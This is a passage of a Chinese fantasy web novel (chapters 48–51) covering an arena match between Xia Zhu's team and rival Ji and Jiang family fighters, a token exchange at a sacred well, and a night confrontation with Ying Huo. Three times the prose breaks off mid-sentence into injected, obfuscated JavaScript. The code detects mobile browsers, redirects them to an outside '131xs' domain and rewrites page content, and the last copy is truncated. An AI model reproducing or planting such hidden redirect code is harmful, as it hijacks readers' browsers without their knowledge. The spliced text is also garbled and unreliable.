“那是有点不妙吗!那是一百二十分不妙!五个武的意思的五个武位吧!乾门进去是大屠杀啊!姬桃!!”风枫手脚并用地想爬进案台后掐上姬桃的脖子,“俺倒是忘了!你和姬罗池是一家的!!说!是不是她让你故意整俺的!” 姬桃嘻嘻哈哈地躲避着风枫的魔爪,眼神有意无意地瞥向呆呆站在一边的夏烛。 “那倒不是罗池啦。” 她似有若无的关注被夏烛身边的风眠敏锐捕捉,他默默叹了口气,那人还是太聪明了点,虽然仔细想去,阿烛并没有暴露什么,还有哪一点,是他也没有注意到的呢。 还没有意识到问题严重性的夏烛,只是将手摸向兜里的冰晶,她的小剑被暂时收纳在内。 “五个武位吗?”夏烛提前做好被揍趴的准备,气沉丹田,试图放缓体内相力的运行。 短暂的商讨战术之后,广播通知这一轮的八支队伍分别就位,未命名队伍1带着豁出去的气势朝乾门走去。 所经之处,人群纷纷让道,看上去似乎是被她们的气势所震慑,实际上嬴犽清楚地听到旁边有人窃窃私语,大概是“五个武队今天已经连赢五场”之类的。 他偷偷看了一眼前面视死如归的风枫,红色的发尾卷曲起来像炸毛的小猫。还是不打算告诉她这个消息了。 所谓乾门,也只有一个门的框架,而中央内部则是一片混沌,应该是专门设定的某种识别结界,从门外是看不清内部情形的,一切赛况只能通过头顶的屏幕。 门旁边有两个方形的凹槽,现在都空了出来,姬无愁站在门边示意夏烛将刚刚给她的木牌嵌进其中一个。 木牌刚好与凹槽相和,轻轻靠近就像磁铁一样轻松吸附了上去,随着缝隙的闭合,门内的混沌像是漩涡一样扭曲,发出淡金色的暖光。 “走吧。”风眠打头阵,背影消失在漩涡之中。 夏烛走在最后,在进入乾门之前,她先把小剑取了出来握在手中,小剑的温度有令她安心的作用,她深呼一口气,剑柄的彗星在不可见处迅速闪过一丝冷光,冷光如同空气中的游丝,细蛇一般穿过人群绕过横梁,飞向殿内很少有人知道的二楼某个房间中。 一整面墙的酒柜嵌在阴影里,冷光灯带像手术灯一样精准打在瓶身上。麦卡伦30年琥珀色的酒液、唐培里侬香槟、山崎威士忌,像一排排精心陈列的标本。 原本坐在棕色真皮沙发上闭目养神的男人猛地睁开眼睛,灰色的瞳孔骤然收缩。 48.依旧竞技场 进入门后,会短暂的失去五感,就像是潜入水中,混沌之力如同水流包裹全身,大脑会得到片刻的极致宁静。进来之前听风眠说过,混沌结界除了能识别这场比赛的参赛选手还有让选手沉心静气的作用。 避免有谁真的因为私仇进入赛场造成严重的人员伤亡。 夏烛的视野中心逐渐漏出亮光,门后的世界在眼前清晰铺展。 这里就是一个没有任何器具和修饰的纯白空间,并且似乎没有边界的概念,抬眼望去,四周浑然,茫茫一片。 在这个地方将要进行比赛斗争,就像在胚胎初期的一场嬉闹。 门在身后消失,也融进纯白中不见轮廓,只有门边悬浮着两只银色的箱盒,唯顶上开了条缝。这是两只队伍压下神策的地方。 规则是至少三张,且都不知对方投进了多少,胜者可以拿走全部。 “投票选举呢。” 风枫从布包中抽出三张神策,她们进来之前就商量好了,除了磨合,这次的目的还有以小搏大。 “投风枫成为大总统三票!”边说边将三张暗金色神策塞了进去。 另一只队伍还没有进场,五个人又围在一起查漏补缺了一下。 银色箱子旁边的空气发出一阵嗡鸣声,接着扭曲成可见的漩涡依次吐出几人。 由于进来之前的准备时间太短,她们都没来得及打听对手的信息,所以进场的这几秒尤为关键,可以快速定位身份相力。夏烛现在已经可以从符钰的位置识别对方所属的家族了。 比如前三个进来的女生,有和姬无愁一样的异瞳,一样的全黑色作战服,很显然她们都是拥有冰雪寒流的濮阳姬姓。而姬姓女生一出现就发现了同样身为姬家人的姬无愁。夏烛看见三人的眉头明显皱了起来,抱着手臂冷冷地对着姬无愁的方向。 而同一赛场就有四个姬家人,连同门外的观众席也开始窃窃私语,倒不是讨论主场优势,而是将话头指向了孤零零的姬无愁。 最后两个女生是一同进场的。利落短发,皮肤黝黑,头上围着日轮图腾抹额的女生将胳膊搭在另一个看上去瘦瘦弱弱的长发女生肩上。 两人的动作亲昵,应该是早就相熟并且关系很好。 夏烛从短发女生的日轮抹额上快速掠过,那是炎帝姜家的符钰,而一旁那个眉眼低垂的女生手腕上嵌着小颗玉珠的链子则是帝夋族人的象征。 帝夋,渭水姜家,风叶所说的五采鸟正是她们家族的护族妖神。 这是夏烛第一次见到渭水姜家的人,她难免有些激动,目光一瞬不瞬地盯着那女生,似乎靠眼神接触就能得到机缘。 姜欲燃发觉了夏烛的眼神,她咧开嘴露出一口整齐的白牙,眼睛明亮的像水晶,不动声色地挡在了姜下晴面前。 “这个妹妹好眼熟,我是不是在哪里见过你呀。”她语气轻浮,笑容却爽朗。 眼熟?夏烛心中一动,难道姜欲燃认识自己?知道自己的身份? “阿烛,别理她!这人是炎帝家的姜欲燃,她见到好看的人就爱上去撩拨几句!”风枫悄悄覆在夏烛耳边,“神血家族中是有鄙视链的,而炎黄二帝的后人就处在鄙视链的顶端,所以有恃无恐说话没有遮拦,别理她们阿烛。” 夏烛怔怔地点了点头,原来只是一句玩笑。 姬家的另外三个女生,眼神始终在姬无愁身上打转,夏烛听见她们把姜欲燃和姜下晴拉到一边,嘴里说着什么诅咒啊,惩罚啊。 而身边的姬无愁只是面无表情地盯着虚空中的一个点,置身事外好像她们说的八卦跟自己一点关系没有。 姜欲燃脸上的表情没有变化,她虚虚拂开了贴在耳边说话的那个女生,大大咧咧地冲这边挥手。 “比赛就是比赛,说些有的没的可不会赢。”她放下手来捏了捏姜下晴的脸,“你说是不是。” 姜下晴对于她的上下其手始终没有做出任何反应,似乎一直神游在外,听见姜欲燃问她,才眨了眨眼睛三魂七魄归位,轻轻点了点头。 “比赛就是比赛。”她附和道。 其中一个姬姓女生,将她们队伍的神策投入银箱,折返回来,刚刚站好,空间内忽然响起一阵清越的钟声,场地中央凭空浮现了一排字,“友谊第一,比赛第一。”标语变成烟雾散去,只剩下一个从五开始倒数的数字。 当数字在两队之间缓慢地跳转到零的时候,钟声再次敲响,比赛正式开始。 钟声的余韵还没有散去,地面上节节升起冰柱,龙脊一般蜿蜒而来,寒冰中赫然带着一股让人避之不及的热浪。 姜欲燃踩着冰柱瞬息之间已经来到夏烛面前,速度之快,她还没看清来人的样貌,就能见到一团熊熊燃烧的火焰。 不对,夏烛瞳孔骤缩,那不单单是一团火焰,火焰之下藏着比磐石还要坚硬的拳头。 炎拳,姜欲燃的相力,聚离火于掌心,化而为拳。刚刚风枫覆到耳边的时候告诉她的。 带着压倒性的气势这一拳势必要挥到夏烛脸上,但夏烛没有躲闪,而是朝着姜欲燃伸出手掌,蛇形的藤蔓从她掌心蹿了出去,对准姜欲燃的面门,而后者脚尖轻点,几个后空翻稳稳落回原位,躲过了藤蔓的攻击。 “也是风家的人嘛。”姜欲燃拍拍手,朝夏烛眨了眨眼。 她们果然猜的不错,风枫几人都多多少少在以往的九天大会上露过脸,所以对方一上来必先试探夏烛的底细,她手里有风枫事先给的一把枯种,只需要在面对进攻的时候复活藤蔓,就能做实她风家人的身份。 “不给人准备的机会啊你们!”风枫气鼓鼓地插着腰,“那就别怪俺不客气了!” 围绕着对方的地面长出无数藤蔓,有如地泉喷涌,在她们头顶闭合,形成了一个由植物织就的牢笼将几人锁在其中。 场上瞬间失去了五个武队的身影,但夏烛她们不敢放松,眼睛死死盯着藤笼的位置。 毕竟。 火焰从内部灼烧,藤笼在顷刻间化作灰烬。 毕竟火系克木系,某种程度上姜家的相力对风家是绝对的碾压,那是自然克制。 但生生不息是草木的真谛,灰烬落到地面新一丛的藤蔓已经再次长出,就算无法造成实质性的伤害,也要主打一个骚扰。 不是缠住姬家人的腰,就是牵住了姜下晴的脚踝。她们光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933241|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是处理数不清的烦人藤蔓,脸上的肌肉走向就变得紊乱起来。 更别说头顶还盘旋着一群嬴犽的乌鸦,难听地嘎嘎直叫,时不时用尖尖的喙部猛啄她们的脑袋。 “不是,我怎么有种被耍了的感觉!”1号姬姓女生胡乱挥打头顶的乌鸦,她实在忍无可忍,双手一抬,一堵厚厚的冰墙从地面升起,将半空中的乌鸦狠狠撞了出去。 冰墙刚成型,就在爆破声中轻易碎成了冰渣。 “什么!?”1号姬姓女生不敢相信地盯着自己的冰墙,它原本坚实无比就算被几吨重物砸中也只是有裂纹而已,除非。 “姬无愁!”女生咬牙切齿地看向始终站在角落的姬无愁,她的身边悬浮着数把正在高速旋转的冰刃,十几厘米的冰墙就是被这些薄薄的利刃给击碎的。 “别掉以轻心!”2号女生闪至她身边提醒道,“再怎么说,她也是姬无愁。” 三号将视线转至场上始终没有动作的风眠,她回头给了另外两人一个眼神,地面瞬间冰封蜿蜒到风眠脚下,将他逼到节节后退。 姬无愁抬起右手,悬在半空的一把冰刃停下了旋转,飞到手心,她五指收紧,脚尖在地上划出一道弧线挪到身后,弓起纤细的身形,像一只离弦的箭冲了出去。 “小心!”三号大叫道,但冰刃上的寒气已经来不及躲闪,1号和2号虽然已经撤后,但由于惯性荡出去的头发被寒气截断了数根飘落在地。 “你们的对手是我。”姬无愁挡在风眠面前,冷淡的眉上结了一层浅浅的霜。 “呃…所以我为什么要来。”风眠有点尴尬的挠挠头。 “我怎么感觉,这场用不着我出手。”姜欲燃吊儿郎当地蹲在地上,屈起的右手燃着离火,她只需要不断烧掉地面上新长出的藤蔓即可。“晴晴,前几场你都没出手,不打算活动活动吗?”她看向站在一边的姜下晴,她们之间有十足的默契,是从幼年时期就开始培养的。 “也是。”姜下晴微微抬起头,看向发丝飘扬的红发少女正站在藤蔓绕成的高柱之上,露出了一个有些赧然的笑,“那就活动活动。” 她下垂的右手轻轻抬起一个弧度,场内的风像是被什么东西吸引,瞬间聚集在她的掌心,随即空间变色,夏烛有种即将下雨的错觉,她茫然地抬起头,只觉得望不到尽头的天穹,在无形之中变得低沉,闷闷地压在她们头顶。 不是错觉,她还听到了滋滋的电流声,就连身边的空气也变得干燥,裸露在外的皮肤像是被静电刺痛,细密地发痒。 “头发竖起来了。”夏烛呆呆地指着自己慢慢腾空的头发。 “是紫电鞭,”风眠的声音从背后传出,“真是神仙打架啊,这场纯粹是家族间的天才较量,小枫自己也许有点难招架了。” 夏烛顺着他的视线看过去,姜下晴正在与风枫对峙,她的手中紧紧握着一条附满电光的长鞭。 长鞭轻扬,游龙一般,紫电做丝刃划破空气,炸耳的响声让人不自觉紧咬后槽牙,以防那种细细的痒钻进牙龈软肉中。 和她内敛的性格完全不同,紫电鞭似乎才是姜下晴的本体,细柔灵动,但有雷霆万钧之势。 49.蹊跷 紫电鞭挥出,巨树般粗壮的藤蔓被拦腰截断,脚下不稳,风枫凝神屏息翻身落地。她双眼紧盯着三步开外的姜下晴,只一个呼吸间原本还站在面前的人却不见了实体,只剩因为速度过快而留在原地的虚影。 帝夋后人,渭水姜家,其下又分豹、虎、熊、罴四小家。 而姜下晴就是相力为电的罴部,下一任家主候选人。 罴部中人,不仅能召降闪电为己用,自身还拥有闪电一般的速度。姜下晴更是其中力与速的佼佼者。 风枫耳朵微动,场上的植物表面上是为了骚扰对手而存在,实际上一花一叶都是她的眼睛。再快的速度也会搅动空气,而风吹草动传达到风枫脑海中,靠得不是时间,而是发肤血液,是身体内远古的基因。 所以从某种意义上来说,身处自然界的风枫对于任何信息的接受都比闪电还要迅速。她要做的就是将每一个战场变做生机勃勃的天地。 她还没回头,藤障已在身后架起,堪堪挡住了姜下晴的一击。 “好快。”即使是姜下晴也忍不住感叹到。 “那叫心灵感应!”大地震颤,巨蛇般的藤条在身下起伏犹如巨浪,而巨浪之上是借力而来的风枫,她朝姜下晴伸出手,连绵不断的坚韧藤条从掌心钻出,紫电鞭不断击碎行至跟前的藤条,奈何它们生生不息,两力相撞,姜下晴被步步击退。 一直冷眼旁观的姜欲燃不打算再等下去,她双手握拳,离火聚燃,身姿矫健脚下生风,三两步掠至风枫身后,朝她的背影挥出重拳。 “什么!?”红发少女的身影被一道剑光遮蔽,姜欲燃的瞳孔微微放大,倒映出夏烛不断接近的脸。 这就是进场之前她们商量的战术。 让敌人以为未命名队伍1只有姬无愁一个武位,她们甚至派出三人和姬无愁纠缠,其中多少带了点个人恩怨,而夏烛作为隐藏战力需要在关键时候挥出出其不意的一剑改变看似注定的结局。 兵不厌诈,这是风枫的原话。 此刻她的眼风中捕捉到了身后夏烛的影子,骄傲地勾起嘴角,露出一颗尖尖的虎牙。 “俺就说战术有用吧!”将后背交给队友,就能心无旁骛地与对手正面交锋了。 姜欲燃眼神一冷,侧身躲过了夏烛挥来的一剑,见状夏烛再次调整身形,打算顺势再补一击,毕竟从身法上她是远远不及从小练到大的姜欲燃。 可她没想到,这一击还未成型,姜欲燃突然站在原地不动,甚至熄灭了炎拳。 “我们认输。”夏烛听到她对着姜下晴的方向说道。 而紫电鞭立刻停滞了动作,姜下晴瞬闪到了朋友身边。 夏烛呆呆地站在原地,小剑握在手中不知所措。 另外一边,三个姬家的队友不明白姜欲燃为什么突然投降,在她们看来,虽然三人勉强才能牵制姬无愁,但以姜家二人的实力对付风枫和她那三个废物队友简直绰绰有余。 “停下,不要再打了,我们认输。”姜欲燃再次出声。 但她们显然不甘心就这样输给姬无愁,手里的动作仍旧没有停止,接连不断地朝姬无愁发起进攻。 离火燃冰,姜欲燃只是站在原地轻轻挥出一拳,就化解了三人对姬无愁的围攻。 “我说,停下。” 姬家三人难以置信地看着自己的相力化成脚下的一滩水,炎帝一脉的能力竟然强大到如此地步,那她突然的投降到底是因为什么… 目睹了全程的风眠皱紧了眉头,果然不能再参加竞技场了,恐怕…他看了一眼已经恢复嬉皮笑脸的姜欲燃。 只一拳就隔空击碎了冰雪寒流,抬手间根本不费吹灰之力,夏烛也意识到了,姜欲燃打她们跟过家家一样轻松,她到底为什么突然认输。 “好啦好啦,连打了几把实在有点力不从心了,这把算我们输了,神策是你们的咯。”她重新换上懒洋洋的笑,揽过一旁的姜下晴朝众人挥挥手。 她们要离开了。 夏烛想到三头鸟,想到风叶所说的机缘,她盯着姜下晴的方向却不知道怎么开口,这场比赛已经是赢得蹊跷,她不能再暴露更多。 “你要说什么吗?”姜下晴早就发现了,虽然她一副不在线的状态,但夏烛的欲言又止早被她看在眼里,这个有些奇怪的女孩。 夏烛咬住自己的舌侧又放松。 “没有。”她摇了摇头。 姜欲燃留下一个意味不明的笑,拖着姜下晴就往漩涡走去,留给她们一个背影。 姜下晴知道自己最好的朋友一定有不得不认输的理由所以她没有多问,姬家三人就算不甘心,也拿姜欲燃没办法,只好跟在后面垂头丧气的离开了。 留下几人面面相觑,还搞不清楚状况。 风眠看了一眼夏烛。 “我先出去看看。”从刚才起就默不做声的姬无愁突然说话,没有等她们反应就自行出了乾门。她知道风眠要说些什么,不是自己这个刚刚加入队伍的人能听的。 等姬无愁走后,风眠才叹了口气说:“阿烛的身份恐怕不是那么轻易就能隐瞒的。” 竞技场一方认输后,这场比赛就算结束了,通道打开,场外播放的屏幕也会暂时关闭,这段时间这里是绝对安全的。 “我们不能再参赛了。” 夏烛低着头没有说话,她也意识到了为什么姜欲燃会突然投降,一定是看出来了什么。 “而且,如果阿烛一定要找到自己的身世,这么隐瞒下去对结果是没有益处的。”他走进夏烛,“必要的时候也许得老妈出面将你的特殊相力公之于众,让各大家族知道你的存在,也许这样才能保证你人身安全的同时得到更多的线索。” “总之,我们不能再这么行事了。”他顿了顿,“毕竟天才一说,不只在于相力,还有绝对的头脑。” 风枫一愣,“啊?是吗?” 风眠:“当然,也有例外。” “好啦好啦!别丧眉搭眼的啦!好歹俺们侥幸赢了比赛不是吗,让俺来看看,她们压了多少神策呢!” 装满神策的银色箱盒会在比赛结束之后合二为一,并且开口处会变大。 风枫把手伸进箱子中一顿摸索。 “不得了啊!”她抓出一大把小纸条一样的神策,“1、2、3…整整13张!姜欲燃还真是豪气!一次就敢压十张!” 听到风枫欢呼声的夏烛把头垂得更低,也许不是姜欲燃豪气,是她对自己有绝对的把握,认为这场比赛到最后一定会是五个武队赢,就像之前的五场一样。 这更能说明,她确实看出了什么。 “好了阿烛。”风眠走了过来,他轻轻拍了拍夏烛的肩膀,“没有十足的证据她不会就这么宣扬出去的。看看风枫,我们赢了比赛不是吗,高兴一点。” 夏烛抬头看向那个一蹦一跳的背影,郑重其事地点了点头。 其实她们都知道,小枫的能力虽然是控制系,但如果是在真刀真枪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938862|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魍魉梦中,万物生将脱胎换骨成为一大杀招。 但在竞技类的比赛上,风枫等于束手束脚地在战斗,毕竟她不能真的在对手的皮肤之下种出藤蔓,像那一次对待人鱼魉一样。 所以就算她说是“侥幸”获胜,可在真正的战场上对上姜欲燃等人,输赢无定。 这场比赛在乾门之中进行,乾之一字,看似天行已定,实则“元亨利贞”四德始终在循环,不到最后,一切都有可能发生。 门外的场景如她们想象的那样,观众无法从屏幕之中窥探更多的细节,只觉得五个武输得莫名其妙,唏嘘声中隐隐传来“黑幕”二字。 风枫泰然自若,才不管别人说什么,她已经沉浸在大丰收的喜悦之中。 “哎呀呀,我就说嘛,给你们安排了一个非常~容易赢的队伍。”姬桃从人群中跳出来,看来她刚刚也在此处观看全程。 看见她的身影,风枫变身张牙舞爪地扑了上去。 “你还说!你还说!炎拳和紫电鞭!你还是人吗姬桃!” 而夏烛,一出乾门,她就隐约觉察出不对。 她停在原地,紧紧握住手中的小剑,抬眼看向殿中红木横梁的后面,那处是精美细致的游龙雕花,镂空后也许藏着整座建筑坚实的骨架,或者别的什么东西,总之金光一闪而过消失在雕梁画栋之后。 她的直觉一向很准,比如之前被嬴犽跟踪,那闪光背后一定藏着另一双眼睛。 夏烛收回视线,眨了眨眼,贴在瞳孔上的隐形眼镜变得干涩,她找到人群中风枫的背影,跟了上去。 小枫刚才说了,既然她们这次没有收获太多的天生相石,就不再等到明天大会正式开始,不明官集体兑换神策了,趁现在人少用不着排队,不如先一步上三九峰,到吴姖天门投下相石。 大殿一角,姜欲燃翘着脚正靠在长椅上闭目养神。 “喝点水。”一双素白的手握着瓶水递了过来,手指纤细,但指节内侧全是经年磨损后产生的茧。 姜欲燃睁开眼睛,笑眯眯地接过。 “还是晴晴对我最好了!” 姜下晴在她身旁坐下,等待对方率先开口。 “是有问题。”姜欲燃拧开瓶盖,仰头喝了一口水,嗓音没有因此变得更润,而是冷了下来,那双黑晶色的瞳仁微微收缩犹如点漆。 “是有问题,那个眼生的女孩。” 她从一开始主动攻击夏烛的时候就发现了破绽,那个女孩手心里一闪而过的种子以她这双视力绝佳的眼睛看得清清楚楚。 刚开始她以为风家的相力就是让种子发芽成树成林,但紧接着在风枫的藤蔓攻势下,她发现这些植物并不需要有根系有种壳,而是凭借主人的意志随处可生。 如果之前都是她们的战术,目的是隐藏夏烛的真实身份,那么只要她偷袭风枫,那个女孩一定会出手。 果不其然,夏烛出手了,她手里握着一把剑,笨拙地挡在风枫身前与自己对峙,她的猜测成真,但问题并不是出在那把剑上,她的拳头根本不畏惧任何一把兵器。 让她感到心惊的是,直到最后一秒,直到一切已经成定局,夏烛都没有使出她真正的相力。 她仍旧握着那把短剑,右耳上却带着属于风家的符钰。 这让姜欲燃感到不寒而栗,她在隐瞒什么,三系五姓八派,各家族间对于彼此的相力了如指掌,除非,她根本没有相力。 除非,她的相力不在已知谱系之中。 50.吴姖天门 秉持着濮阳赚钱濮阳花的理财观念,风枫大手一挥豪迈地邀请众人使用追风道上三九峰。这样不用徒步下山上山,还能在晚饭前赶回睡好觉。 明天才是大会正式召开日,三九峰上冷冷清清凄凄惨惨,除了一些巡逻的捕蜩人外只有夏烛她们这一队不按常理的不明官。 虽然没有明确规定神策的兑换一定得在大会当天,但毕竟是仪式嘛,众目睽睽之下将家族一年所得的天生相石尽数投入吴姖天门,是何等的荣耀。 因此她们今天提前来这里兑换,总有一种偷偷摸摸拿不出手的感觉。 当然了,对此风枫表示明确的否认,她只是不想明天跟别家的人挤在一起罢了。 让夏烛没有想到的是,三九峰之上,九天大会的举办现场,并没有多么气派威严的装饰,烟云缭绕中,只有一颗十分眼熟的参天大树。 那是各种意义上的参天,在夏烛的视野中只能看到千分之一截高楼大厦般雄伟的树干,抬头不见边际,隐入苍穹。冷霜凝露结满眉头,泠冽的风中,这棵和风家建木十分相似的大树独立寒天。 “这是建木的壳。”风眠好心解释道。 “壳?”夏烛才明白风中的呜咽原来从空壳中来。 “妖神建木原本是长在日月山上的,它虽然无法做到让人行至九天,自身却有通天达地的能力。千万年前的某一天,没有人知道那天到底发生了什么,即使褪去千年的寿命即使脱掉一层壳,建木也执意离开此处,一路向东最后重新扎根在了风家的领地上。” “谁知道呢,也许是濮阳伤透了它的心,也许是它在天上看见了什么呢。”风枫耸耸肩,拉上夏烛的手,“不过俺猜呢,是这里风太大,吹在身上痒痒,建木只是蹭蹭身体壳就掉下来了!那不干脆趁机游历世界!” 五人穿过壳下方的树洞,进入了建木的内部。 这里简直就是个原木风的大剧院。 三面环绕阶梯式的木质观众席座位,一层层向上堆叠,最后嵌入树壁。中央耸起类似树根盘绕结成的高台,可沿阶梯而上到达高台上置有的一口水井旁。 井口上方垂落一条看不见尽头的管道,像是建木本身的经脉,并不突兀而有浑然一体的味道,不知通达何处。 正对着高台的空旷处摆放着八把交椅,排成一个森严的半弧,沉默地面对着高台。夏烛猜测那应该就是各族家主的位置。 四面的高窗中照进金色的阳光,这里没有除此之外的其他光源了。阳光的烘烤令此间空气中的木质气息更加浓郁,是一种古老,温暖的味道。让人忍不住伸手抚上树壁,从层层纹理中寻找万年前留下的密语。 夏烛有种变身成绿野小精灵的错觉,在这里要召开的不是什么九天大会而是一年一度的精灵会议,总结露水收集和花蜜酿造的数量,透明的仙子翅膀可以轻易透射阳光,在一束束金色的光线里自由飞舞,仙尘抖落会发出叮铃铃的声音。 她们沿着阶梯上了高台,围着水井成一圈。 还真是水井。 夏烛以为是自己依照外形瞎猜的,没想到确实有清绿的水正在其间波光粼粼地静淌,算得上清澈见底,甚至在想象中入口会格外清甜。 “这就是吴姖天门了。”风枫对着夏烛眨眼睛,波光映在她的下巴上,“俺小时候也以为是一扇门来着,门打开把天生相石扔进去,神策就会从门里飞出。” “那么,一个个来吧!俺先!” 台上面积过小,站不下太多人,夏烛干脆走到台阶上等着,这里刚好可以看见风枫的动作。 建木内部静悄悄的,除了偶尔有风穿过高窗发出呜呜的叫声,天生相石投入水中的声音变得异常清晰。 叮叮咚咚,像山间的涌泉。 风枫把布包中绿色红色的石头一股脑都倒进了水里,等了片刻,井口上的管道内部传来嗖嗖的风声。 “来了!”风枫伸出双手,接在管道口。 十几张暗金色的神策从树脉似的管道中吹了出来,堆叠在风枫摊开的手心里。她探出脑袋往里瞅了一眼。 “没了!”然后让开了位置,让姬无愁接着去。 嬴犽不像姬无愁,他还没完全脱离家族,所以嬴家的神策自有人去兑换,他不打算把手里仅有的一两颗石头换成对他来说其实没多大用处的神策。 而姬无愁已经决定要和她们一起入梦除魉,就说明她将拥有石头的兑换权,以后这就是她自己的东西了,不再作为濮阳姬家的不明官前来。 最后是夏烛,她只有一颗绿石和一颗红石。 其他人都退到台阶上整理热腾腾的神策,井边宽敞起来,只剩她一个人了。 一束浅金色的阳光投到水面上,波纹清晰了晶莹的菱形边缘,闪闪放光的粒子在空气中跳动,能勉强倒映出夏烛身影的井水就像一颗巨大的绿色宝石,不过是流动的。 她从背包中取出石头,轻轻放进水中。 天生相石在接触到水面的时候就开始消散,发出细碎的光,像是正在被化学试剂溶解。等两颗石头完全消失在水中,她听到一种类似在耳边吹气的声音。 “呼——呼——” 管道里正有一股从遥远地方吹来的风,从细细的管口喷出,喷到了水面上荡开一圈圈涟漪,又反弹到夏烛脸上,将她的头发全都往后吹起。 她赶紧捧着手接在管道下方。 两张边缘泛着暗金色光芒的神策掉落在她手心。 夏烛的瞳孔在光芒中微微放大。 她小心翼翼地用指尖拈起一张,小纸条一样的神策上原本应该是一串看不明白的符号,可她眼前的这张神策上,正儿八经地写着一个汉字。 “你。” 而另一张上面则是一个“好”字。 “你好。” 自遥远天际而来的神策,代表着神的意志在向夏烛热情且礼貌的打招呼。 似乎她多投一些石头,接着下来的神策就要问她“吃饭了吗?”。 耳边还有风声在管道内呼呼地吹着,鼻尖充盈着阳光和木头的味道仿佛浓郁了许多,她悄悄地看了一眼风枫的位置。 要不要告诉大家呢。 一时间,大脑宕机站在原地,额头上冒出了些冷汗,她就像个潜入主角团的反派,在某个不经意的时刻差点暴露了身份,好在此刻没有人注意到她的异样。 目前的情况一定是非同寻常,甚至可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一行人(除了夏烛)带着轻松的心情徒步下山,就当是出门游玩了,夕阳渐渐隐没在山崖上,穿过旧旅馆,睡好觉依旧繁荣不减。 风枫说要为姬无愁举办一个欢迎会,于是他们定了一个包间不再留在大厅苦苦等位。 包间在三楼,窗外就是三九峰,形制跟别的房间果然不一般,风枫嗤之以鼻,咒骂金钱的这种腐败不堪到哪里都行得通的通行证。 花窗向外推开,香风缭绕,烛火摇晃。 风枫豪气一挥,在点菜单上写满了一长串的名称,说请好朋友吃饭就不能吝啬。 而姬无愁只是微红着脸坐在角落里一言不发。她似乎并不习惯朋友这个说法。 酒足饭饱,风枫揽着姬无愁大谈神血家族内部的腐败现象,其中特意点名了濮阳姬家教条刻板。姬无愁从头红到脚,眼神没有着落,不好意思地左右看看希望有人能出手制止一下风枫。但风眠正在细细研究其中一道外热内凉的蒸糕做法,而嬴犽则一脸崇拜地仰视着他心目中的小太阳,没有人得空施以援手。 夏烛晃了晃脑袋,室内的温度太过安逸,头脑容易昏沉,她打算出门透透气。跟大家打了个招呼,慢腾腾地下了楼,穿过结界走出旅馆,冷风让身体的温度骤降,所有思绪都变得清晰凌厉。 夏烛走进树林中,闻到了一股夜间草木的清苦,天上正挂着清晖漫漫的月亮。 “出来吧。”她轻声道。 身后的树丛发出细微的声响,她扭转身体反手挥出小剑,猝不及防撞进一双灰色的眼睛,有那么短暂的几秒,喝了些黄酒的夏烛误以为是月亮掉了下来。 51.九天大会 是那个人。 劫走她们的石头逃之夭夭,会点石成金,刻薄又实在美丽的,嬴惑。 那个在暗处窥视自己的人。 小剑毫不客气地抵在那人几乎纤弱的颈脖上。嬴惑垂下眼睑,瞥了一眼正威胁着自己生命的利剑,嘴里发出了一声嗤笑,他的腰微微弯着,胸襟前单薄的衣服随着抖动起伏,就像是看见了一个天大的笑话。 他再抬起那双冷冰冰的灰色眼睛时,夏烛从里面看出了荒诞的意味。 她怔愣了片刻,握着剑柄的力度稍稍松懈,破绽只需要暴露一秒,嬴惑抓住她的手腕顺势一推,将夏烛狠狠压在了树干上,手中短剑反成了借刀杀人的武器。 后背有些发烫,那里的皮肤似乎被粗糙的树皮磨损擦破,夏烛再次不合时宜地想象自己如同一只靠在树上蹭痒的灰熊。 然后她听到赢惑说。 “你是谁?”语气冷淡又似乎咬牙切齿。 灰熊,她想到,但说出口的却是反问:“你知道我是谁?” “你脑子有问题吗?现在是我在问你!” “可你在怀疑我不是吗?”夏烛直视他的眼睛,“是谁呢,你以为的我。” “什么?”他的眼神忽然闪烁起来,有一些较长的黑色额发垂了下来。夏烛不动声色地往下一瞥,收起膝盖朝他的胃部用力顶去。 嬴惑显然没料到夏烛还有后手,闷哼一声捂着腹部后退了几步,脸色变得煞白,先是恶狠狠地盯了夏烛一眼,然后立马低下头去。 果然,夏烛想起第一次见到他的印象,很弱,还很惜命。 两人之间一言不发,在气氛内的诡异感即将达到峰值的时候,嬴惑转身离开了,背影仓皇,算得上逃窜。 夏烛望着他离开的方向,一股轻飘飘的气从脚底升起,裹着她的心脏往头顶飞去。 他一定知道什么。 另一个“不一样”的人。 灰色的月亮还悬在头顶,酒气上涌,身体变得更加飘忽,夏烛哼着家乡的小调朝旅馆走去,偶尔伸手抓挠自己的后背。 风枫起了个大早,收拾利索再将夏烛从床上拉起,今天是九天大会的正式召开日,她们都得去现场参加。 “阿烛!快起来!晚了就坐不到好位置了!”风枫不知道平时起得最早的夏烛今天是怎么回事,这个时候了还一直将脑袋藏在被子里,睡的昏天黑地的。 “做了个梦…”夏烛双眼无神地坐在床上,佝偻着背耷拉着脑袋。 “什么梦哦?”风枫绕到窗边一把拉开窗帘,示意她太阳都晒屁股了。 “梦到…”阳光筛成花窗的形状照在白色的床单上,夏烛把手伸进光斑里,很快就被晒得暖乎乎,“梦到两个月亮。” 